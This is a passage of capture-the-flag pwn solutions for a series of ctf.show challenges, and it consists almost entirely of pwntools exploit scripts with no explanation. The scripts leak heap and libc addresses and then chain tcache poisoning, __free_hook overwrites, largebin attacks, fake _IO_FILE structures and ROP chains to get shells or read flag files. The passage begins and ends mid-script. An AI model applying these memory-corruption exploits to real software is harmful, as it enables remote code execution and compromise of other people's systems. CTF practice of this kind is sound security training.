23     io.sendlineafter('choice: ','2')
24     io.sendlineafter('):',str(idx))
25 Add(0x60,'0'*0x60)
26 Add(0x60,'1'*0x60)
27 Add(0x60,'2'*0x60)
28 Add(0x60,'3'*0x60)
29 Add(0x60,'4'*0x60)
30 Add(0x60,'5'*0x60)
31 Add(0x3f0,'7'*0x3f0)
32 Add(0x60, '8'*0x60 )
33 Add(0x3e0, '9'*0x3e0)
34 Add(0x60, '9'*0x80 )
35 Add(0x3f0, 'a'*0x3d0)
36 Add(0x60-0x18, 'b'*0x30 )
37 Add(0x60-0x18, 'c'*0x30 )
38 Add(0x60-0x18, 'd'*0x30 )
39 Del(8)
40 Del(0xa)
41 Del(0)
42 Add(0x400,'')
43 Show(0xa)
44 io.recvuntil('description:')
45 heap_addr=u64(io.recvuntil('\n',drop=True).ljust(8,'\0'))-0x790
46 success('heap_addr:'+hex(heap_addr))
47 target_addr = heap_addr+0x130
48 fchunk1_addr = heap_addr+0xb0
49 fchunk2_addr = heap_addr+0x1b0
50 fchunk3_addr = heap_addr+0xc10
51 Edit(0xa,p64(target_addr))
52 ftarget = p64(0)*2+p64(0x411)+p64(fchunk1_addr-0x18)+p64(fchunk1_addr-0x10)
53 ftarget += p64(fchunk3_addr)+p64(fchunk2_addr)
54 Edit(2,ftarget)
55 fake = p64(0)+p64(target_addr)
56 Edit(1,fake)
57 fake = p64(0)*2+p64(0x421)+p64(0)*2+p64(target_addr)
```

```

58 Edit(3,fake)
59 Edit(6,'6'*0x218+p64(0x410)+p64(0x411))
60 Del(5)
61 Del(3)
62 Add(0x3f0,'3'*56)
63 Add(0x60,'')
64 Show(3)
65 io.recvuntil('3'*56)
66 libc_base=u64(io.recv(6).ljust(8,'\0'))-0x3c4be8
67 success('libc_base:'+hex(libc_base))
68 free_hook=libc.sym['__free_hook']+libc_base
69 success('free_hook:'+hex(free_hook))
70 system=libc_base + libc.sym['system']
71 Del(6)
72 Del(3)
73 payload = p64(0)*2+p64(0x411)+p64(heap_addr+0x280)+p64(free_hook-0x48)
74 Edit(2,payload)
75 Add(0x3f0,'')
76 payload = p64(0)*2+p64(0x71)
77 Edit(2,payload)
78 payload = p64(0)*6+p64(0x31)+p64(0)*3+p64(0x431)
79 Edit(3,payload)
80 Del(0xc)
81 Del(0x3)
82 payload = p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
83 Edit(2,payload)
84 Add(0x60-0x18,'/bin/sh')
85 payload = 'a'*0x13+p64(system)
86 Add(0x60-0x18,payload)
87 payload = p64(0)*2+p64(0x71)+'/bin/sh'
88 Edit(2,payload)
89 Del(3)
90
91 io.interactive()

```

## pwn 249

```

1 from pwn import *
2 context(arch = 'amd64', os = 'linux', log_level = 'debug')
3 io = remote("pwn.challenge.ctf.show",28307)
4 elf = ELF('./pwn')
5 libc = ELF('./libc-2.31.so')
6 def menu(choice):
7     io.sendlineafter('> ',str(choice))
8 def add(size=0x80,data='u'):

```



```

9         menu(1)
10        io.sendlineafter('size: ',str(size))
11        io.sendafter('content: ',str(data))
12    def dele(id):
13        menu(2)
14        io.sendlineafter('note id: ',str(id))
15    def show(id):
16        menu(3)
17        io.sendlineafter('note id: ',str(id))
18    io.sendlineafter('How many notes you plan to use?','-1')
19    for i in range(10):
20        add(0x80)
21    for i in range(7):
22        dele(7-1-i)
23    dele(8)
24    show(8)
25    libc_leak = u64(io.recvuntil('\x7f',drop=False)[-6:].ljust(8,'\0'))
26    libc_base = libc_leak - 0x1ecbe0
27    success('libc_leak',libc_leak)
28    success('libc_base',libc_base)
29    libc.address = libc_base
30    system_addr = libc.sym.system
31    bin_sh = libc.search('/bin/sh').next()
32    dele(7)
33    add()
34    dele(8)
35    add(0x100,'\0'*0x80+p64(0)+p64(0x91)+p64(libc.sym.__free_hook)+p64(0))
36    add(0x80,'/bin/sh\0')
37    add(0x80,p64(system_addr))
38    dele(12)
39
40    io.interactive()

```

## pwn 250

```

1    from pwn import *
2    context(arch = 'amd64',os = 'linux',log_level = 'debug')
3    io = remote("pwn.challenge.ctf.show",28111)
4    libc = ELF('./libc-2.31.so')
5    def add(index,size,content):
6        io.sendlineafter('>> ', '1')
7        io.sendlineafter('>> ', str(index))
8        io.sendlineafter('>> ', str(size))
9        io.sendafter('>> ', content)
10   def show(index):

```

```

11     io.sendlineafter('>> ', '2')
12     io.sendlineafter('>> ', str(index))
13 def delete(index):
14     io.sendlineafter('>> ', '3')
15     io.sendlineafter('>> ', str(index))
16
17 for i in range(7):
18     add(i, 0x90, 'a')
19 add(7, 0x90, 'a')
20 add(8, 0x90, 'a')
21 add(9, 0x90, 'a')
22 for i in range(7):
23     delete(i)
24 delete(7)
25 delete(8)
26
27 show(7)
28 libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 -
    libc.sym['__malloc_hook']
29 success(hex(libc_base))
30 system_addr = libc_base + libc.sym['system']
31 __free_hook = libc_base + libc.sym['__free_hook']
32 add(10, 0x90, b'a')
33 delete(8)
34 payload = 'a'*0x90 + p64(0) + p64(0xa1) + p64(__free_hook)
35 add(11, 0xb0, payload)
36 add(12, 0x90, '/bin/sh\x00')
37 add(13, 0x90, p64(system_addr))
38 delete(12)
39
40 io.interactive()

```

## pwn 251

```

1 from pwn import *
2 context(arch='amd64', os='linux', log_level='debug')
3 io = remote("pwn.challenge.ctf.show", 28125)
4 elf = ELF('./pwn')
5 libc = ELF('./libc-2.31.so')
6 def menu(c):
7     io.sendlineafter('Choice: ', str(c))
8 def add(size=0x80, data='u'):
9     menu(1)
10    io.sendlineafter('Please input size: ', str(size))
11    io.sendafter('Please input content: ', str(data))

```

```
12 def dele(idx):
13     menu(2)
14     io.sendlineafter('Please input idx: ', str(idx))
15 def show(idx):
16     menu(3)
17     io.sendlineafter('Please input idx: ', str(idx))
18 def bkdoor(idx):
19     menu(666)
20     io.sendlineafter('Please input idx: ', str(idx))
21
22 for i in range(10):
23     add()
24 for i in range(7):
25     dele(10-1-i)
26
27 bkdoor(1)
28 show(1)
29 libc_leak = u64(io.recvuntil('\x7f', drop=False)[-6:].ljust(8, '\0'))
30 libc_base = libc_leak - 0x1ecbe0
31 libc.address = libc_base
32 stdout = libc_base + 0x1ed6a0
33 stack_addr = libc.sym.environ
34 ret = libc_base + 0x00000000000022679
35 rdi = libc_base + 0x00000000000023b6a
36 rsi = libc_base + 0x0000000000002601f
37 rdx_r12 = libc_base + 0x00000000000119211
38 jmp_rsi = libc_base + 0x0000000000010d5dd
39
40 dele(0)
41 add()
42 add(0x90, '\0'*0x88 + p32(0x90*8+1))
43 add(0x70)
44 dele(1)
45
46 dele(2)
47 add(0x50)
48 add(0x50, '\0'*0x28 + p64(0x91) + p64(stdout) + p64(0))
49 add() # 5
50 add(0x80, p64(0xfbad1800) + p64(0)*3 + p64(stack_addr) + p64(stack_addr+8)*2)
51
52 stack_addr = u64(io.recvuntil('\x7f', drop=False)[-6:].ljust(8, '\0'))
53
54 dele(5)
55 dele(2)
56 add(0x50, '\0'*0x28 + p64(0x91) + p64(stack_addr-0x120) + p64(0))
57 add()
58 payload = flat([
```

```

58     rdi, stack_addr-0x108, libc.sym.gets
59 ])
60 add(0x80, payload)
61 mmp = flat([
62     rdi, ((stack_addr) >> 12) << 12,
63     rsi, 0x2000,
64     rdx_r12, 7, 0,
65     libc.sym.mprotect,
66     rdi, 0, rsi, stack_addr,
67     rdx_r12, 0x100, 0,
68     libc.sym.read,
69     jmp_rsi
70 ])
71
72 sleep(0.5)
73 io.sendline(mmp)
74 sleep(0.5)
75 io.sendline(asm(shellcraft.cat('/flag')))
76
77 io.interactive()

```

## pwn 252

```

1  from pwn import *
2  context(arch='amd64', os='linux', log_level='debug')
3  io = remote("pwn.challenge.ctf.show",28176)
4  elf = ELF('./pwn')
5  libc = ELF('./libc-2.35.so')
6  def add(index, size, content):
7      io.sendlineafter('> ', '1')
8      io.sendlineafter('> ', str(index))
9      io.sendlineafter('> ', str(size))
10     io.sendlineafter('Enter content: ', content)
11  def delete(index):
12     io.sendlineafter('> ', '2')
13     io.sendlineafter('> ', str(index))
14  def show(index):
15     io.sendlineafter('> ', '3')
16     io.sendlineafter('> ', str(index))
17  for i in range(8):
18     add(i, 0x80, 'aaaa')
19  add(8, 0x80, 'bbbb')
20  for i in range(8):
21     delete(i)
22  show(7)

```

```

23  unsortedbin_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
24  libc_base = unsortedbin_addr - 0x219ce0
25  _IO_list_all = libc_base + libc.sym['_IO_list_all']
26  show(0)
27  key = u64(io.recv(5).ljust(8, '\x00'))
28  heap_base = key << 12
29  system_addr = libc_base + libc.sym['system']
30  for i in range(8):
31      add(i, 0x80, 'aaaa')
32  for i in range(8):
33      add(i, 0x70, 'aaaa')
34  add(8, 0x70, 'aaaa')
35  for i in range(8):
36      delete(i)
37  delete(8)
38  delete(7)
39  for i in range(7):
40      add(i, 0x70, 'aaaa')
41  p1 = p64(key ^ _IO_list_all)
42  add(0, 0x70, p1)
43  add(1, 0x70, 'aaa')
44  add(2, 0x70, 'aaa')
45  target_addr = heap_base + 0xc30
46  add(0, 0x70, p64(target_addr))
47  _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
48  p2 = '\x00'
49  p2 = p2.ljust(0x28, '\x00') + p64(1)
50  p2 = p2.ljust(0xa0, '\x00') + p64(target_addr + 0xe0)
51  p2 = p2.ljust(0xd8, '\x00') + p64(_IO_wfile_jumps)
52  p2 = p2.ljust(0xe0 + 0xe0, '\x00') + p64(target_addr + 0x210)
53  add(1, 0x200, p2)
54  one_gadget = libc_base + 0xebcf1
55  p3 = '\x00'
56  p3 = p3.ljust(0x68, '\x00') + p64(one_gadget)
57  add(2, 0x200, p3)
58  io.sendlineafter('> ', '4')
59
60  io.interactive()

```

## pwn 253

```

1  from pwn import *
2  context.arch = "amd64"
3  io = remote("pwn.challenge.ctf.show", 28235)
4  elf = ELF("./pwn")

```

```
5  libc = ELF("./libc/libc.so.6")
6  def pwn():
7      payload = "LOGIN | r00t CTFshow admin"
8      io.sendafter("miao miao miao~~~\n",payload)
9      payload = "CAT | r00t CTFshow "+"\\xff"
10     io.sendafter("miao miao miao~~~\n",payload)
11 def choice(num):
12     pwn()
13     io.sendlineafter("choice:\n",str(num))
14 def add(index,size,content="\x00"):
15     choice(1)
16     io.sendlineafter("idx:\n",str(index))
17     io.sendlineafter("size:\n",str(size))
18     io.sendafter("content:\n",content)
19 def delete(index):
20     choice(2)
21     io.sendlineafter("idx:\n",str(index))
22 def show(index):
23     choice(3)
24     io.sendlineafter("idx:\n",str(index))
25 def edit(index,content):
26     choice(4)
27     io.sendlineafter("idx:\n",str(index))
28     io.sendafter("content:\n",content)
29
30 add(0,0x420,'aaa')
31 add(1,0x430,'bbb')
32 add(2,0x418,'ccc')
33 delete(0)
34 add(3,0x440,'ddd')
35 show(0)
36 io.recvuntil('Context:\n')
37 libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x21a0d0
38 success('libc_base >> '+hex(libc_base))
39 io.recv(10)
40 heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x290
41 success('heap_base >> '+hex(heap_base))
42 pop_rdi_ret=libc_base+0x0000000000002a3e5
43 pop_rsi_ret=libc_base+0x0000000000002be51
44 pop_rdx_pop_r12_ret=libc_base+0x0000000000011f497
45 ret=libc_base+0x00000000000029cd6
46 pop_rax_ret=libc_base+0x00000000000045eb0
47 syscall_ret=libc_base+libc.search(asm('syscall\nret')).next()
48 stderr=libc_base+libc.sym['stderr']
49 setcontext=libc_base+libc.sym['setcontext']
50 close=libc_base+libc.sym['close']
51 read=libc_base+libc.sym['read']
```

```

52 write=libc_base+libc.sym['write']
53 next_chain = 0
54 fake_IO_FILE = p64(0)*4
55 fake_IO_FILE +=p64(0)
56 fake_IO_FILE +=p64(0)
57 fake_IO_FILE +=p64(0xffff)
58 fake_IO_FILE +=p64(0)
59 fake_IO_FILE +=p64(heap_base+0xc18-0x68)
60 fake_IO_FILE +=p64(setcontext+61)
61 fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
62 fake_IO_FILE += p64(0)
63 fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
64 fake_IO_FILE += p64(heap_base+0x200)
65 fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
66 fake_IO_FILE +=p64(heap_base+0xb30)
67 fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
68 fake_IO_FILE += p64(0)
69 fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
70 fake_IO_FILE += p64(libc_base+0x2160d0)
71 fake_IO_FILE +=p64(0)*6
72 fake_IO_FILE += p64(heap_base+0xb30+0x10)
73 flag_addr=heap_base+0x17d0
74 payload1=fake_IO_FILE+p64(flag_addr)+p64(0)+p64(0)*5+p64(heap_base+0x2050)+p64
    (ret)
75 delete(2)
76 add(6,0x418,payload1)
77 delete(6)
78 edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr-0x20))
79 add(5,0x440,'aaaaa')
80 add(7,0x430,'./ctfshow_flag\x00')
81 add(8,0x430,'eee')
82
83 rop_data = [
84     pop_rdi_ret,
85     0,
86     close,
87     pop_rax_ret,
88     2,
89     pop_rdi_ret,
90     flag_addr,
91     syscall_ret,
92     pop_rdi_ret,
93     0,
94     pop_rsi_ret,
95     flag_addr + 0x200,
96     pop_rdx_pop_r12_ret,
97     0x100,

```

```

98     0,
99     read,
100    pop_rdi_ret,
101    1,
102    pop_rsi_ret,
103    flag_addr + 0x200,
104    pop_rdx_pop_r12_ret,
105    0x100,
106    0,
107    write
108 ]
109
110 add(9,0x430,flat(rop_data))
111 delete(5)
112 add(10,0x450,p64(0)+p64(1))
113 delete(8)
114 edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-
    0x20+3))
115 pwn()
116 io.sendlineafter('plz input your cat choice:\n',str(1))
117 io.sendlineafter('plz input your cat idx:',str(11))
118 io.sendlineafter('plz input your cat size:',str(0x450))
119
120 io.interactive()

```

## pwn 254

```

1  from pwn import*
2  context(arch='amd64',os='linux',log_level='debug')
3  io = remote('pwn.challenge.ctf.show',28171)
4  elf = ELF('./pwn')
5  libc = ELF('./libc/libc.so.6')
6  def add(choise):
7      io.sendlineafter('enter your command: \n',str(1))
8      io.sendlineafter('choise: ',str(choise))
9  def delete(index):
10     io.sendlineafter('enter your command: \n',str(2))
11     io.sendlineafter('Index:',str(index))
12  def read(index,context):
13     io.sendlineafter('enter your command: \n',str(3))
14     io.sendlineafter('Index:',str(index))
15     io.sendafter('Message:',context)
16  def write(index):
17     io.sendlineafter('enter your command:',str(4))
18     io.sendlineafter('Index:',str(index))

```



```
19
20 io.sendlineafter("enter your key >>\n",str(8))
21
22 add(2)
23 add(1)
24 add(1)
25 add(1)
26
27 delete(0)
28
29 delete(2)
30 write(0)
31 io.recvuntil('Message: \n')
32 leak_libc = u64(io.recv(6).ljust(8,b'\x00'))
33 io.recv(2)
34
35 leak_heap = u64(io.recv(6).ljust(8,b'\x00'))
36 libc_base = leak_libc - 0x219ce0
37 io_list_all = libc_base+libc.symbols['_IO_list_all']
38 _IO_write_jumps = libc_base
39 open_addr = libc_base+libc.symbols['open']
40 read_addr = libc_base+libc.symbols['read']
41 write_addr = libc_base+libc.symbols['write']
42 pop_rax = libc_base + 0x00000000000045eb0
43 pop_rdi = libc_base + 0x0000000000002a3e5
44 pop_rsi = libc_base + 0x0000000000002be51
45 pop_rdx_r12 = libc_base + 0x0000000000011f497
46 leave_ret=libc_base + 0x000000000000562ec
47 _IO_wfile_jumps = libc_base + 0x2160c0
48 syscall = libc_base + 0x11ea20
49 magic_gadget = libc_base + 0x16a1fa
50 add_rsp_418 = libc_base + 0x000000000012135d
51 add(1)
52 delete(2)
53
54 io_list=p64(0xdeadbeef)
55 io_list+=p64(~(2 | 0x8 | 0x800)+(1<<64))
56 io_list+=p64(0)*3
57 io_list+=p64(0)+p64(1)
58 io_list+=p64(0)
59 io_list+=p64(0xaaaaaaaa)*2
60 io_list+=p64(leak_heap-0xf60-0x18)
61 io_list+=p64(0)*10
62 io_list+=p64(leak_heap-0xf50)
63 io_list+=p64(0)*4
64 io_list+=p64(leak_heap-0xe60)
65 io_list+=p64(add_rsp_418)
```

```

66 io_list+=p64(_IO_wfile_jumps)
67
68 wide_data=p64(leak_heap-0xf58-0x28)
69 wide_data+=p64(leave_ret)
70 wide_data+=p64(0)*12
71 wide_data+=p64(leak_heap-0xf50-0x28)
72 wide_data+=p64(0)*8
73 wide_data+=p64(0)
74 wide_data+=p64(0)*3
75 wide_data+=p64(magic_gadget)
76 wide_data+=p64(leak_heap-0xe80-0x8-0x68)*3
77
78 rop=p64(pop_rdi)+p64(2)
79 rop+=p64(pop_rsi)+p64(leak_heap-0xb56)
80 rop+=p64(pop_rax)+p64(2)
81 rop+=p64(pop_rdx_r12)
82 rop+=p64(0)*2
83 rop+=p64(syscall)
84 rop+=p64(pop_rdi)+p64(3)
85 rop+=p64(pop_rsi)+p64(leak_heap)
86 rop+=p64(pop_rdx_r12)+p64(0x200)+p64(0)
87 rop+=p64(read_addr)
88 rop+=p64(pop_rdi)+p64(1)
89 rop+=p64(pop_rsi)+p64(leak_heap)
90 rop+=p64(pop_rdx_r12)+p64(0x100)+p64(0)
91 rop+=p64(pop_rax)+p64(1)
92 rop+=p64(write_addr)
93 payload=p64(libc_base+0x21a1f0)*2+p64(io_list_all)+p64(io_list_all-0x20)
94 payload+=p64(leak_heap-0x1040)
95 payload+=p64(0)*15
96 payload+=io_list
97 payload+=wide_data
98 payload+=p64(0)*(62+24+12)
99 payload+= './flag\x00\x00'
100 payload+=rop
101 read(0,payload.ljust(0x880,b'\x00'))
102 add(3)
103 add(1)
104 io.sendlineafter('command: \n',str(5))
105
106 io.interactive()

```

## pwn 255

```
1 from pwn import *
```

```
2 context(arch = 'amd64',os = 'linux',log_level = 'debug')
3 io = remote('pwn.challenge.ctf.show',28211)
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6
7 def choice(i):
8     io.sendlineafter("enter your command: \n",str(i))
9
10 def add(mod):
11     choice(1)
12     io.sendlineafter("choise: ",str(mod))
13
14 def dele(index):
15     choice(2)
16     io.sendlineafter("Index: \n",str(index))
17
18 def edit(index,message):
19     choice(3)
20     io.sendlineafter("Index: ",str(index))
21     io.sendafter("Message: \n",message)
22
23 def show(index):
24     choice(4)
25     io.sendlineafter("Index: ",str(index))
26
27 io.sendlineafter("enter your key >>\n",str(10))
28
29 add(2)
30 add(2)
31 add(2)
32 add(2)
33 add(2)
34 dele(2)
35 dele(0)
36 show(0)
37 io.recvuntil("Message: \n")
38 leak_addr = u64(io.recv(8))
39 heap_base = leak_addr - 0x1810
40 leak_addr = u64(io.recv(8))
41 libc_base = leak_addr - 0x1f2cc0
42 _IO_list_all = libc_base + libc.sym["_IO_list_all"]
43 setcontext = libc_base + libc.sym["setcontext"]
44 _IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
45 magic_gadget = libc_base + libc.sym['svcudp_reply'] + 26
46 pop_rax_ret = 0x000000000000446c0 + libc_base
47 pop_rdi_ret = 0x0000000000002daa2 + libc_base
48 pop_rsi_ret = 0x00000000000037c0a + libc_base
```

```
49 pop_rdx_rbx_ret = 0x00000000000087729 + libc_base
50 syscall_ret = 0x000000000000883b6 + libc_base
51 leave_ret = 0x00000000000052d72 + libc_base
52 ret = 0x0000000000002d446 + libc_base
53 add_rsp_ret = 0x00000000000103936 + libc_base
54
55 dele(1)
56 dele(3)
57 dele(4)
58 add(1)
59 add(1)
60 add(2)
61 add(1)
62 dele(7)
63 dele(8)
64 add(1)
65 add(1)
66 add(1)
67
68 fake_io_addr = heap_base + 0x22d0
69 flag_addr = heap_base + 0x2540
70 shellcode_addr = heap_base + 0x2540
71 shellcode = "./flag".ljust(0x8, "\x00")
72 shellcode += p64(add_rsp_ret)
73 shellcode = shellcode.ljust(0x18, '\x00')
74 shellcode += p64(shellcode_addr)
75 shellcode = shellcode.ljust(0x28, '\x00')
76 shellcode += p64(leave_ret)
77 shellcode += p64(0)*5
78 shellcode += p64(pop_rax_ret) + p64(2)
79 shellcode += p64(pop_rdi_ret) + p64(flag_addr)
80 shellcode += p64(pop_rsi_ret) + p64(0)
81 shellcode += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
82 shellcode += p64(syscall_ret)
83 shellcode += p64(pop_rax_ret) + p64(0)
84 shellcode += p64(pop_rdi_ret) + p64(3)
85 shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
86 shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
87 shellcode += p64(syscall_ret)
88 shellcode += p64(pop_rax_ret) + p64(1)
89 shellcode += p64(pop_rdi_ret) + p64(1)
90 shellcode += p64(pop_rsi_ret) + p64(flag_addr+0x300)
91 shellcode += p64(pop_rdx_rbx_ret) + p64(0x60) + p64(0)
92 shellcode += p64(syscall_ret)
93
94 chunkA = "chunka"
95 chunkA = chunkA.ljust(0xe0, '\x00')
```

```

96 chunkA += p64(fake_io_addr+0x200)
97 chunkB = "chunkb"
98 chunkB = chunkB.ljust(0x68, '\x00')
99 chunkB += p64(magic_gadget)
100
101 fake_IO_FILE = p64(0)
102 fake_IO_FILE += p64(0xab1-0x30)
103 fake_IO_FILE = fake_IO_FILE.ljust(0x48, '\x00')
104 fake_IO_FILE += p64(shellcode_addr)
105 fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
106 fake_IO_FILE += p64(0xfffffffffffffffffff)
107 fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
108 fake_IO_FILE += p64(libc_base+0x1f5720)
109 fake_IO_FILE += p64(0xfffffffffffffffffff)
110 fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
111 fake_IO_FILE += p64(fake_io_addr+0xe0)
112 fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
113 fake_IO_FILE += p64(_IO_wfile_jumps)
114 fake_IO_FILE = fake_IO_FILE.ljust(0xe0, '\x00')
115 fake_IO_FILE += chunkA
116 fake_IO_FILE = fake_IO_FILE.ljust(0x200, '\x00')
117 fake_IO_FILE += chunkB
118 payload = ""
119 payload += p64(heap_base)+p64(_IO_list_all-0x20)
120 payload += fake_IO_FILE
121 payload += shellcode
122 payload = payload.ljust(10*0x110-0x10, "\x00")
123 payload += p64(0) + p64(0xab1)
124 dele(10)
125 add(3)
126 edit(8,payload)
127 dele(3)
128 add(3)
129 choice(6)
130
131 io.interactive()

```

## pwn 256

```

1 from pwn import *
2 context(arch = 'amd64',os = 'linux',log_level = 'debug')
3 io = remote("pwn.challenge.ctf.show",28168)
4 libc = ELF('./libc/libc.so.6')
5
6 def add(choice):

```

```
7         io.sendlineafter("enter your command: \n",str(1))
8         io.sendlineafter("choise: ",str(choice))
9
10    def delete(index):
11        io.sendlineafter("enter your command: \n",str(2))
12        io.sendlineafter("Index: \n",str(index))
13
14    def read_data(index,content):
15        io.sendlineafter("enter your command: \n",str(3))
16        io.sendlineafter("Index: ",str(index))
17        io.sendafter("Message: ",content)
18
19    def write_data(index):
20        io.sendlineafter("enter your command: \n",str(4))
21        io.sendlineafter("Index: ",str(index))
22
23    io.sendlineafter("enter your key >>\n",str(8))
24    add(2)
25    add(1)
26    add(1)
27    add(1)
28    delete(0)
29    delete(2)
30    write_data(0)
31    io.recvuntil("Message: \n")
32    libc_base=u64(io.recv(6).ljust(8,b'\x00')) - 0x219ce0
33    io.recv(2)
34    heap_base=u64(io.recv(6).ljust(8,b'\x00')) - 0x13c0
35    add(1)
36    delete(2)
37    io_list_all = libc_base + libc.symbols['_IO_list_all']
38    _IO_wfile_jumps = libc_base+0x2160c0
39    system = libc_base + libc.symbols['system']
40    leave_ret = libc_base + 0x000000000000562ec
41    magic_gadget = libc_base + 0x16a1fa
42    pop_rsp_ret = libc_base + 0x00000000000035732
43    pop_rdi_ret = libc_base + 0x0000000000002a3e5
44    add_rsp_ret = 0x0000000000003a889 + libc_base
45    pop_rsi_ret = libc_base + 0x0000000000002be51
46    pop_rdx_r12_ret = libc_base + 0x00000000000011f497
47    open_addr = libc_base + libc.symbols['open']
48    read_addr = libc_base + libc.symbols['read']
49    write_addr = libc_base + libc.symbols['write']
50    pop_rax_ret = libc_base + 0x00000000000045eb0
51    syscall = libc_base + 0xea5b9
52
53    rop=p64(pop_rdi_ret)
```

```
54 rop+=p64(heap_base+0x518)
55 rop+=p64(pop_rsi_ret)
56 rop+=p64(0)
57 rop+=p64(pop_rax_ret)
58 rop+=p64(2)
59 rop+=p64(syscall)
60 rop+=p64(pop_rdi_ret)
61 rop+=p64(3)
62 rop+=p64(pop_rsi_ret)
63 rop+=p64(heap_base+0xb40)
64 rop+=p64(pop_rdx_r12_ret)
65 rop+=p64(0x50)
66 rop+=p64(0)
67 rop+=p64(read_addr)
68 rop+=p64(pop_rdi_ret)
69 rop+=p64(1)
70 rop+=p64(pop_rsi_ret)
71 rop+=p64(heap_base+0xb40)
72 rop+=p64(pop_rdx_r12_ret)
73 rop+=p64(0x50)
74 rop+=p64(0)
75 rop+=p64(write_addr)
76
77 wide_data=p64(0)*21
78 wide_data+=p64(leave_ret)
79 wide_data+=p64(0)*3
80 wide_data+="./flag\x00\x00"
81 wide_data+=p64(add_rsp_ret)-
82 wide_data+=p64(0)
83 wide_data+=p64(heap_base+0x450-0x68+(8*29))
84 wide_data+=p64(magic_gadget)
85 wide_data+=rop
86
87 io_file=p64(~(2 | 0x8 | 0x800)+(1<<64))
88 io_file+=p64(0)*3
89 io_file+=p64(0)+p64(1)
90 io_file+=p64(0)*3
91 io_file+=p64(heap_base+0x538-0x20)
92 io_file+=p64(0)*10
93 io_file+=p64(heap_base+0x450)
94 io_file+=p64(0)*6
95 io_file+=p64(_IO_wfile_jumps)
96
97 payload=p64(libc_base+0x21a1f0)*2+p64(io_list_all)+p64(io_list_all-0x20)
98 payload+=p64(0)*7
99 payload+=p64(heap_base+0x370)
100 payload+=p64(0)*14
```

```

101 payload+=io_file
102 payload+=wide_data
103
104 read_data(0,payload.ljust(0x880,b'\x00'))
105 add(3)
106 add(1)
107 io.sendlineafter("command: \n",str(5))
108
109 io.interactive()

```

## pwn 257

```

1  from pwn import *
2  context(arch = 'amd64', os = 'linux', log_level = 'debug')
3  io = remote("pwn.challenge.ctf.show",28205)
4  libc = ELF('./libc.so.6')
5  elf = ELF('./pwn')
6
7  def choice(s):
8      io.sendlineafter('enter your command: \n', str(s))
9  def add(idx):
10     choice(1)
11     io.sendlineafter('choise:', str(idx))
12  def delete(idx):
13     choice(2)
14     io.sendlineafter('Index: \n', str(idx))
15  def edit(idx, content):
16     choice(3)
17     io.sendlineafter('Index: ', str(idx))
18     io.sendafter('Message: \n', content)
19  def show(idx):
20     choice(4)
21     io.sendlineafter('Index: ', str(idx))
22
23  io.recvuntil('enter your key >>\n')
24  io.sendline('8')
25  add(2)
26  add(1)
27  add(1)
28  add(1)
29  delete(0)
30  delete(2)
31  show(0)
32  libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - 0x1f2cc0
33  io.recvuntil('\x00\x00')

```



```
34 heap_base = u64(io.recv(8).ljust(8, "\x00")) - 0x13c0
35 add(1)
36 delete(2)
37 pop_rdi = libc_base + libc.search(asm('pop rdi; ret;')).next()
38 pop_rsi = libc_base + libc.search(asm('pop rsi; ret;')).next()
39 pop_rdx12 = libc_base + libc.search(asm('pop rdx; pop r12; ret;')).next()
40 leave_ret = libc_base + libc.search(asm('leave; ret;')).next()
41 open_addr = libc_base + libc.sym['open']
42 read_addr = libc_base + libc.sym['read']
43 puts_addr = libc_base + libc.sym['puts']
44 io_all = libc_base + libc.sym['_IO_list_all']
45 chunk0 = heap_base + 0x290
46 magic_gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
47 add_18 = libc_base + 0x00000000000003b3b9
48 chain = libc_base + 0x1f3760
49 lock = libc_base + 0x1f5720
50 wide_data = libc_base + 0x1f2880
51 wfile = libc_base + libc.sym['_IO_wfile_jumps']
52 orw_addr = chunk0 + 0x148
53 orw = './flag\x00\x00'
54 orw += p64(pop_rdx12) + p64(0) + p64(chunk0 + 0x30)
55 orw += p64(pop_rdi) + p64(orw_addr)
56 orw += p64(pop_rsi) + p64(0)
57 orw += p64(open_addr)
58 orw += p64(pop_rdi) + p64(3)
59 orw += p64(pop_rsi) + p64(orw_addr + 0x100)
60 orw += p64(pop_rdx12) + p64(0x50) + p64(0)
61 orw += p64(read_addr)
62 orw += p64(pop_rdi) + p64(orw_addr + 0x100)
63 orw += p64(puts_addr)
64
65 pay = p64(0) + p64(leave_ret) + p64(0) + p64(io_all - 0x20)
66 pay += p64(0) * 3
67 pay += p64(0)
68 pay += p64(0) * 3
69 pay += p64(chain)
70 pay += p64(0) * 3
71 pay += p64(lock)
72 pay += p64(0)
73 pay += p64(chunk0 + 0xe0)
74 pay += p64(wide_data)
75 pay += p64(0) * 6
76 pay += p64(wfile + 8)
77 pay += p64(chunk0 + 0xf0)
78 pay += p64(0) * 6
79 pay += p64(magic_gadget)
80 pay += p64(0) * 2
```

```
81 pay += p64(add_18)
82 pay += p64(chunk0 + 0x140 - 0x18)
83 pay += p64(chunk0 - 0x10)
84 pay += orw
85 edit(0, pay.ljust(0x880, '\x00'))
86 add(3)
87 add(1)
88 choice(5)
89
90 io.interactive()
```

## pwn 258

```
1  from pwn import *
2  context(arch='amd64',os='linux',log_level='debug')
3  io = remote("pwn.challenge.ctf.show",28170)
4  elf = ELF('./pwn')
5  libc = ELF("./libc-2.23.so")
